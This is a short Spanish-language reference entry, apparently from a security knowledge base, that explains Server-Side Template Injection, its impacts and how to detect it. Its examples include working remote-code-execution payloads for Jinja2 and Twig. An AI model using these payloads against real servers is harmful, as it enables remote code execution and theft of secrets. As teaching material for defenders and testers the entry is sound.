SSTI
CríticoServer-Side Template Injection
Definición
Server-Side Template Injection (SSTI) ocurre cuando la entrada del usuario se inserta directamente en una plantilla del servidor (Jinja2, Twig, Freemarker, etc.) sin sanitización. El atacante puede inyectar expresiones del motor de plantillas para ejecutar código arbitrario en el servidor.
Impacto
Ejecución remota de código (RCE) en el servidorLectura de archivos del sistemaAcceso a variables de entorno y secretosCompromiso total del servidorMovimiento lateral en la red interna
Ejemplos
Detección de SSTI con polyglot
Primero se detecta si existe SSTI usando expresiones matemáticas simples. Si el servidor devuelve el resultado calculado (49), se procede a identificar el motor de plantillas y usar payloads específicos para obtener ejecución de código.
# Payload de detección (funciona en múltiples motores)
{{7*7}}
${7*7}
<%= 7*7 %>
# Si la respuesta muestra "49", el motor de plantillas está procesando la entrada
# Jinja2 (Python) - RCE
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Twig (PHP) - RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}